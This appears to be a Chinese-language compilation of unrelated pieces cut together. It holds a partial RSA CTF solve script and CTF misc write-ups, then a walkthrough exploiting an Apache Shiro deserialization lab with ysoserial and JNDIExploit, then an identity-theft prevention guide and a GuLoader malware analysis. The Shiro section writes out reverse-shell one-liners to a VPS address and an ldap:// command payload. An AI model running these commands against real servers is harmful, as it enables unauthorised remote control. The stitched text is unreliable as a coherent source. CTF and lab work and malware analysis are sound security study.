c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

获取环境:

拉取镜像到本地

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

h35gsf3ziqd13275.png

2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 ugbjqz0koxh13280.png

image_wvD-c4KvV-.png

rljbahtodvh13285.jpg

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1


 rfc3iisi3kk13287.png

 

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

 

5、nc监听

yxbp4nctqjh13289.png

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 uvdg0t0uizm13291.png


7、执行成功,反弹shell

 bhzwsbvnada13293.png

 

 ucevzoxrqr313295.png

 gxekd55faok13297.png


微信截图_20230204153840.png

在當今的數字世界中,身份盜竊是一個日益嚴重的問題。隨著網上的個人信息越來越多,我們很難保護自己不受惡意行為者的傷害,他們可能會出於惡意目的使用我們的數據。

雖然這似乎是一個難以解決的問題,但下述20步指南將教你如何防止身份盜竊,讓你擁有保持安全並保護個人數據所需的知識。

什麼是身份盜竊?長話短說,身份盜竊是指非法使用某人的個人信息。

美國司法部解釋稱,身份盜竊是指犯罪分子利用他人的個人身份信息(PII)進行詐騙,來獲取非法經濟利益。身份盜竊有很多種方式,包括黑客攻擊、金融和社交媒體賬戶收購、信用卡欺詐、網絡釣魚,甚至是勒索軟件攻擊。

當網絡罪犯實施身份欺詐時,他們可能會使用偷來的身份:

開設新賬戶或信用額度;

用偷來的保險信息接受醫療救助;

竊取退稅;

在逮捕事件中提供你的個人證件(姓名、出生日期、地址等)。

2021年,傳統的身份欺詐損失,即涉及任何使用消費者個人信息來獲得非法經濟利益的損失,高達240億美元,致使1500萬美國消費者陷入困境。涉及身份欺詐的損失(與受害者直接接觸)總計280億美元,影響了美國2700萬消費者。

身份盜竊的類型身份盜竊有許多不同類型,每一種都可能是毀滅性的。以下是一些最常見的類型:

金融身份盜竊:指有人使用你的個人信息以你的名義開設新賬戶,並負債累累。這會毀了你的信用評分,讓你背負很多債務;

醫療身份盜竊:指有人使用你的保險信息來獲得醫療或處方藥。這可能會導致你在保險上的虛假索賠,更高的保費,甚至被保險公司拒絕承保;

稅務身份盜竊:當有人使用你的個人信息以你的名義提交納稅申報單並要求退款時,就會發生這種情況。這可能會導致你欠國稅局或州稅務機構的錢,可能需要幾個月甚至幾年的時間來解決這個問題;

犯罪身份盜竊:指有人利用你的個人信息以你的名義犯罪。這可能會導致逮捕和監禁,即使你自己實際上沒有犯過任何罪;

兒童身份盜竊:指有人竊取兒童的個人信息供自己使用。兒童的身份經常被用於金融欺詐或其他犯罪,因為他們通常有良好的信用記錄。這可能會對孩子未來的財務狀況和社會福利產生重大影響。

身份盜竊的警告信號有幾個關鍵的警告信號可以表明你的身份被竊取了。如果你看到以下任何一個危險信號,是時候採取行動保護你的身份和財務了:

收到不認識的賬戶的賬單或收款通知;

銀行賬戶出現不明原因的提款;

接到來自企業的電話或信件,詢問你沒有購買的產品或服務;

信用報告上有新賬戶或貸款,但你並沒有開設;

被拒絕申請信貸或貸款,因為你的信用報告上的信息似乎不正確;

如果你懷疑自己的身份被盜了,第一步是聯繫信用機構,並在你的檔案上發布欺詐警報。你還應該聯繫你的金融機構,以及任何你認為小偷可能會以你的名義開設新賬戶的企業。通過採取這些步驟,你可以保護自己免受進一步的傷害,並開始找回自我的過程。

如何防止身份盜竊?正如Bruce Schneier所言,“身份盜竊是信息時代的新型犯罪活動。犯罪分子收集了足夠多的個人數據,用來向銀行、信用卡公司和其他金融機構冒充受害者。然後他會以受害者的名義貸款,收了錢,就消失掉,受害者只能背黑鍋。雖然部分損失由金融機構——尤其是信用卡公司——承擔,但信用評級方面的損失則由受害者承擔。受害者可能需要數年時間才能為自己正名。”

一旦發生身份盜竊,要想恢復網絡罪犯竊取的信息是極其困難的。很多時候,你甚至不知道它是如何或何時發生的。

這就是為什麼採取積極主動的安全措施總是更好的,這將防止騙子竊取你的個人詳細信息和信息。謹慎行事總是好的,而不是在傷害已經造成、無法控制時才做出反應。

保護您的身份免受在線威脅(網絡層面)

1. 為你的網上帳戶選擇一個合適的密碼最重要的步驟之一是:始終確保你的密碼是強大的和唯一的。長度在15個字符左右,使用大寫字母和小寫字母,以及數字和符號;不要使用你的出生日期、電話號碼、社會保險號、家庭成員的名字或你寵物的名字,這些很容易被攻擊者猜到,通常只需要看看你的社交資料。

此外,不要在不同的賬戶之間重複使用密碼。如果您在所有地方都使用相同的密碼,攻擊者將能夠訪問您的所有其他帳戶。

但如果我們創建了非常多的在線賬戶,我們到底該怎麼做呢?

首先,不要把它們寫下來!不要寫在你桌子上的紙上,不要寫在電子郵件草稿裡,也不要寫在你桌面上的文本文件裡。這些都是不安全的地點。相反地,您可以開始使用密碼管理器。它會記住你所有的密碼,並以安全的方式存儲它們。另一個關鍵的安全步驟是在任何可用的地方激活雙因素或多因素身份驗證。

2. 不要在網上發布機密信息在發布關於你的信息之前要三思。我們在網上發布的所有內容都將保留在那裡,每個想看的人都可以看到。儘管我們願意認為我們可以控制自己的隱私,但事實是我們永遠無法確定誰在監視我們。我們永遠都不知道這些信息會到哪裡去。即使我們採取了所有可能的安全措施,我們仍然依賴於其他服務和系統,這些服務和系統可能並不像他們聲稱的那麼安全。

這就是為什麼我們要關注我們放在評論、私人信息、帖子、簽到、照片或其他我們在網上顯示的任何東西中的所有數據是很重要的。這裡的“在線”指的是博客、社交網絡(Twitter、Facebook、LinkedIn、Instagram等)上的帖子、照片、簽到或評論,也包括AirBnB、TripAdvisor、Booking等網站。

3.小心網絡釣魚詐騙網絡釣魚是最古老的網絡威脅之一,但它仍然會造成很大的損害。攻擊者不斷改進他們的技術和欺詐方法。主要的網絡釣魚計劃和活動出現在:

網上購物;

查看電子郵件帳戶;

訪問社交媒體網絡;

雖然網絡釣魚使用多種渠道獲取我們的證書,但垃圾郵件攻擊仍然是主要的成功方法。

4.網上購物要謹慎

網絡購物已經變得非常方便,我們有更多的選擇,可以在一個地方,一次點擊即可完成操作,節省了我們大量的時間和金錢。

在網上購物時,最重要的是要確保你在一個合法的網站上。以下是如何確保你不會將財務信息發送給網絡罪犯的方法:

從知名、可信的網站購物;這將減少任何不愉快的意外的可能性;

檢查連接是否加密。您可以通過查看地址欄來做到這一點:是否有一個綠色鎖的圖標?地址開頭是“https”而不是“http”嗎?

另外,確保在線支付時激活二次認證因素。在下單前,您將在手機上收到最終識別碼;

最安全的方法是只在網上購物時使用一張單獨的卡。只有在你想買東西的時候才把錢轉到上面,否則就以低金額保存它。這樣,萬一有什麼不好的事情發生,你仍然有一個安全網。

5.保護您的瀏覽器設置我們的瀏覽器是連接網站的主要工具。因此,需要對它給予高度重視。確保您使用的是包含所有可用安全補丁的最新瀏覽器版本。

沒有所謂的免費程序,所以確保你在下載之前通過快速的網絡搜索仔細檢查免費程序的安全性和合法性。

如果從公共計算機連接,請使用私人瀏覽會話,您一定不希望本地記錄您的瀏覽歷史詳細信息。

為了確保你的連接是安全的,你可以使用VPN軟件或Tor瀏覽器加密它,以隱藏你的瀏覽活動。

6.使用多種安全產品保護您的計算機身份竊賊會使用多種工具獲取你的個人數據。我們這裡不是在談論普通的病毒,我們指的是高級惡意軟件和間諜軟件工具,如鍵盤記錄器,漏洞利用工具包和遠程管理工具。它們能夠在您不知情的情況下從系統中檢索敏感信息。

高級惡意軟件旨在逃避普通的反病毒檢測。有時要過很長一段時間你才能意識到它的存在。這就是必須配置一個好的殺毒軟件的原因。它能夠最大限度地減少你清理惡意軟件攻擊造成的混亂的時間。

此外,為了確保銀行業務的金融安全,並防範零日惡意軟件,您還需要先進的掃描技術,可以保護您免受最新的威脅。

7.保持系統和軟件更新用最新的安全補丁更新您的系統。對於易受攻擊的應用程序和程序,應該做同樣的事情。如果你不想每天檢查和更新這些應用程序,你也可以使用專門的解決方案來自動完成這項工作。

保護您的身份免受人身威脅(物理層面)以下步驟旨在解決物理盜竊企圖,因為它們可以造成和在線威脅一樣大的破壞。

8.誰在監視你?當你站在自動取款機前或當地的商店,試圖取一些錢或只是輸入你的密碼來支付時,在鍵入敏感數據之前,請確保你周圍沒有人可以看到你的信息。即使你沒有看到周圍的人,也可能有特殊的監控機制,所以為了確保你的安全,盡量隱藏你鍵入的數字。

9.你帶了什麼?在你離開家之前,花點時間考慮一下該帶哪些東西。只帶必要的物品,可以減少潛在的損失。 此外:

不要把你的包放在無人看管的公共場所或遠離你的地方。

不要把你的錢包隨便亂放,給小偷製造機會。

考慮分散竊賊的注意力。你可以帶一個假錢包,或者乾脆不把重要的東西放在包裡,因為這些東西可能會被偷。把重要的東西放在身邊。

10.銷毀不再需要的文件我們習慣把重要數據放在家裡。這些信息可能是你過去工作的地方、醫療記錄、證書和文憑,甚至可能是與你工作有關的機密信息。

我們都有收集各種文件和信息的傾向。其中一些我們可能不再需要了,比如收據或銀行對賬單。雖然我們可能不再需要這些數據,但這對騙子來說,可能仍是可以利用的重要元素。

因此,在你扔掉那些文件之前一定要把它們銷毀,比如使用碎紙機,不要只是把它們放在垃圾桶裡。

11.保護好你的郵箱試著像身份竊賊一樣思考。當你需要找到個人信息,尤其是某人的財務細節時,你會考慮從何處入手?

最簡單的方法是從那些保護較少的區域開始,比如郵箱。想一下:

你在郵箱裡收到過什麼類型的信息?你收到銀行的重要文件了嗎,也許是一張新的信用卡?如果你這樣做了,你需要聯繫銀行,讓他們停止這種類型的通信。如果你有重要的東西需要收集,只要去銀行取就行了。

你收到每項服務的發票了嗎?也許這對你來說似乎不是太多的數據,但身份竊賊可以使用這些信息與其他來源相關聯,以了解你的財務狀況。通過電子郵件接收發票會更容易,因為今天大多數服務提供商都提供這種選擇。

你的郵箱保護得怎麼樣?如果任何人都可以訪問你的郵箱,而你又知道有重要的信息被發送到那裡,也許你應該在郵局設置一個高安全性的郵箱或私人郵箱。

12.你了解電話來源嗎?沒錯,身份竊賊可能會給你打電話,冒充銀行代理或官方代表,要求你提供私人細節或財務數據。

小偷是怎麼知道你的銀行的?好吧,記住前面的幾點。要獲得你的信息並不難。他們可能會查看你的郵箱,他們可能會在商店或自動取款機上看著你,甚至他們可能會翻看你的垃圾。發現這點信息並不難。

不要被他們使用的專業語氣所愚弄。切記不要在電話中提供重要信息,除非是你主動打電話的,而且你真的知道自己在和誰通話。

13.銷毀你的數字信息如今,我們都使用雲服務來存儲重要文件,無論是工作文件還是個人照片。

然而,隨著時間的推移,我們在CD/DVD或外部硬盤驅動器上收集了各種類型的信息。有時,我們不得不扔掉一個看似無法運行的硬盤,而忽略了我們留在上面的私人數據。

要了解廢棄磁盤中的信息對你的危害,只要想想你留在磁盤上的所有照片、文檔和私人詳細信息就可以了。使用特殊的工具和軟件,黑客可以從這些硬盤中輕鬆地檢索到所有信息,並使用它來對付你——即使你在扔掉它之前刪除了數據並進行了格式化。

為了確保對舊磁盤的不安全處理不會成為身份竊賊的機會,您需要確保已銷毀了該數據。有以下選項:

多次覆蓋數據,讓身份竊賊更難下手。你也可以使用專門的軟件來幫你做這件事;

物理上銷毀硬盤或CD/DVD;

你知道打印機和復印機也有內置硬盤嗎?所以,在移除硬盤之前,不要直接扔掉打印機。

14.保護好你的社會安全號碼這是保護你的身份不被小偷竊取的最重要的步驟之一,因為這條信息可以在多種情況下使用。 身份竊賊可以使用你的社會安全號碼申請新信用卡或開立銀行賬戶,要求貸款,甚至租房子。

它還可以用來在電話或在線上證明你的身份,以便訪問私人信息。這裡有一些保護它的技巧:

不要把它用作任何在線賬戶的密碼;

除非你真的需要,否則不要隨便帶著它;

不要通過電子郵件發送相關信息;

不要把它存儲在你的電腦、智能手機或云驅動器上。

15.確保智能手機安全現在我們可以用智能手機完成所有的操作,例如拍照、獲取信息、與朋友保持聯繫、訪問云存儲甚至進行金融交易。這成為我們最大的風險。想想看,一個人僅僅通過使用智能手機就能獲得多少信息。

你可以遵循以下幾個步驟,以確保你的智能手機數據不會落入壞人之手:

下載知名公司的應用程序,尤其是用於金融交易的應用程序;

使用強大的密碼來保護移動設備,或者更好的是,使用2種方法來保護它免受任何破壞。生物特徵認證,比如用你的指紋鎖定,可能被證明是最安全的;

使用最好的應用程序來保護你的智能手機,其中大多數都包含GPS功能和遠程清除機制。

16. 備份這裡不是指電腦備份,而是指備份某些東西,以防某些東西在某個時候丟失。讓我們試著回答幾個問題,這樣我們就可以弄清楚並找到解決方案:

你把所有的錢都存在一張信用卡上嗎?為什麼?至少用兩張卡,然後把錢分散存儲;

你出門的時候會把兩張卡片都帶在身上嗎?為什麼?就拿一個吧。或者至少不要把它們放在同一個地方。這樣,你就可以減少潛在的損失。

你需要在某個地方驗證你的身份嗎?好的,你可以隨身攜帶身份證明文件,但是不要把身份證、駕照和護照全部帶走。

你真的需要帶正式文件嗎?也許你可以用複印件代替。在任何情況下,確保你總是有所有重要文件的複印件,特別是在旅行時。

你有丟失公文或信用卡時可以求助的電話號碼嗎?

結語身份盜竊是一個嚴重的問題,會對受害者造成毀滅性的影響。我們希望本指南為您提供了必要的知識和工具,以幫助您保護自己免受身份盜竊。

保護您的個人信息安全應該是一項首要任務,所以記住要時刻留意任何可疑的事情,並在網上保護自己時採取積極主動的措施。只需採取一些簡單的步驟,比如鎖定你的賬戶,使用強密碼,警惕網絡釣魚詐騙,跟踪你的信用評分,就可以保護自己免受潛在的身份盜竊影響。現在採取這些預防措施將為你以後節省更多時間和金錢。

Unit 42研究人員討論了基於虛擬機監控程序的沙盒中基於內存的工件構建的機器學習渠道,該沙盒是Advanced WildFire的一部分。可以提高對惡意軟件的檢測精度。

正如我們以前所介紹的,惡意軟件開發者正在不斷完善他們的攻擊手段,以使靜態分析和沙盒等策略失效。封裝方法和沙盒逃避等技術的不斷發展讓防御者防不勝防。

更糟糕的是,流行的檢測技術,如結構分析、靜態簽名和許多類型的動態分析,並不能很好地應對目前越來越複雜的攻擊。

惡意軟件開發者越來越多地採用逃避技術,如混淆、封裝和在進程內存中執行動態注入的shellcode。使用來自文件結構的線索進行惡意軟件檢測可能並不總是成功的。封裝技術可以充分修改文件結構以消除這些線索。因此,僅在這類特徵上訓練的機器學習模型將無法有效地檢測出此類樣本。

這種檢測方法的另一種流行的替代方法是使用機器學習模型,該模型基於惡意軟件在沙盒內的執行痕跡來預測惡意行為。然而,正如我們原來所詳細介紹的那樣,沙盒逃避非常普遍,有效負載通常會根據任何數量的線索選擇不執行,這些線索會指向正在模擬的樣本。

惡意軟件也可能會無意或有意地破壞沙盒環境,覆蓋日誌文件,或由於其所使用的低級技巧而阻止成功分析。這意味著,在執行日誌上訓練機器學習模型也不足以捕捉這些逃避類的惡意軟件。

使用NSIS Crypter加密的GuLoader惡意軟件在這篇文章中,我們將分析一個使用Nullsoft Scriptable Install System(NSIS)加密器加密的GuLoader下載器。 NSIS是一個用於創建Windows安裝程序的開源系統。

Hashcc6860e4ee37795693ac0ffe0516a63b9e29afe9af0bd859796f8ebaac5b6a8c

為什麼靜態分析沒有幫助GuLoader惡意軟件是加密的,它也是通過NSIS安裝文件傳遞的,這對於靜態分析來說並不理想,因為必須首先解壓縮文件內容。一旦它被解壓縮,我們仍然有加密的數據和一個NSIS腳本。腳本本身也會動態地解密代碼的某些部分,這是使其難以檢測的另一個因素。

然而,沒有太多的結構線索可以識別這可能是惡意軟件。因此,在可移植可執行文件(PE)結構上訓練的機器學習模型將不能有效地將該文件與其他良性文件區分開來。

NSIS腳本和提取GuLoadershellcode要提取NSIS腳本,我們必須使用7-Zip的舊版本15.05。這個版本的7-Zip能夠解包腳本,而新版本已經刪除了解包NSIS腳本的功能。一旦我們提取了文件內容和NSIS腳本(如圖1所示),我們就可以開始分析腳本並查看GuLoader示例是如何執行的。

2.png

NSIS腳本

如果向下滾動腳本,我們會很快注意到文件正在復製到新創建的名為%APPDATA%\Farvelade\Skaermfeltet的文件夾中。雖然不清楚原因,但所使用的文件路徑似乎是丹麥語。在復制活動之後,腳本中有常規的安裝邏輯,但是有一個名為func_30的有趣函數。

在此函數被調用之前,字符串$INSTDIR\Filterposerne\Malkekvg. exeNat被複製到名為$4的字符串變量中,如圖2和圖3所示。函數func_30從Programmeludviklinger210中讀取數據。 Kon文件並構建代碼,它將在字符Z被看到後立即調用這些代碼。

NSIS允許開發人員能夠從Windows DLL調用任何導出的函數,並且還允許他們將結果直接保存在NSIS寄存器/堆棧中。此功能允許惡意軟件開發者在運行時動態調用Windows API函數,並使靜態分析更加困難,因為在分析之前必須對其進行評估。

3.png

調用函數func_30

4.png

解碼NSIS代碼

要解碼動態代碼,我們可以編寫一個簡短的Python腳本,該腳本再現行為並提取Windows API調用:

5.png

下圖顯示了上述腳本產生的解碼數據

6.png

解碼的Windows API調用

解碼後的函數一起從NSIS壓縮文件中的另一個文件中讀取shellcode,並使用EnumWindows函數執行它。如果我們必須用偽代碼編寫這個過程,它看起來應該是這樣的:

7.png

為了使其餘的分析更容易,我們將使用shellcode生成一個PE。為了生成可執行文件,我們可以使用Cerbero Profiler或LIEF Python庫等工具。

在本例中,我們使用了LIEF庫來構建一個新的可執行文件。我們所要做的就是添加一個包含Malkekvg.Nat文件內容的新部分,並將入口點設置為正確的偏移量。一旦我們得到了這些,就應該能夠在IDAPro中打開shellcode,並看到它包含有效的x86指令。

8.png

8.2.png

在IDA Pro的入口點生成PE文件

Shellcode分析現在我們在PE文件中有了Shellcode的第一階段,我們可以在動態分析中運行它,看看會發生什麼。我們將看到的第一件事是它檢測到虛擬機,並在顯示消息框後停止執行。此文本在運行時使用4字節XOR密鑰解密。

9.png

無法在虛擬環境中執行該示例

如果我們在IDA Pro中打開文件並稍微遵循代碼,就應該能夠看到用於解密第一階段的大函數。雖然函數圖概述看起來很大,但識別垃圾代碼仍然很容易。

進行解密的代碼如下圖所示。在下圖中,我們可以看到跳轉到第二階段的最終調用。此時,我們可以將第二階段轉儲到另一個可執行文件中進行解密。

我們可以直接從內存中轉儲可執行文件,但是必須確保將入口點修補到正確的地址(在本例中為0x404328)。

10.png

第一階段的Shellcode解密

11.png

調用到下一階段

第二階段使用了許多反分析技術,其中的一些反分析技術為:

內存掃描已知沙盒字符串;

虛擬機監控程序檢查;

時間測量;

為了獲得GuLoader正在下載的最終負載,我們必須手動繞過所有這些檢查,在不受所有這些技術影響的沙盒中運行它,或者在裸金屬沙盒上運行它。

提取有效負載信息為了在不分析第二階段的情況下獲得有效負載信息(包括所有字符串),我們可以使用Spamhaus描述的一個小技巧。 GuLoader使用簡單的XOR加密來加密其字符串,其中包括有效負載URL。

要解密字符串,我們可以對已經知道存在於第二階段中的模式使用暴力。 XOR運算的結果就密鑰。對此的唯一限制是模式必須足夠大,以便我們能夠完全解密有效負載URL。例如,一個好的模式可能是用戶代理字符串,默認設置為Mozilla/5.0(Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) ,如Gecko。

為了快速自動找到解密密鑰,我們必須首先加密一個短模式(例如,用戶代理字符串的前8個字節),然後搜索該結果是否在文件中的某個位置。如果它在文件中的某個位置,那麼我們可以繼續解密剩餘的模式以獲得完整的加密密鑰。

我們會在本文的最後附上Python腳本,該腳本能夠通過上述方法從有效負載中找到加密密鑰。在任何轉儲的第二階段GuLoader負載上運行腳本後,我們應該能夠看到一些字符串和負載URL。

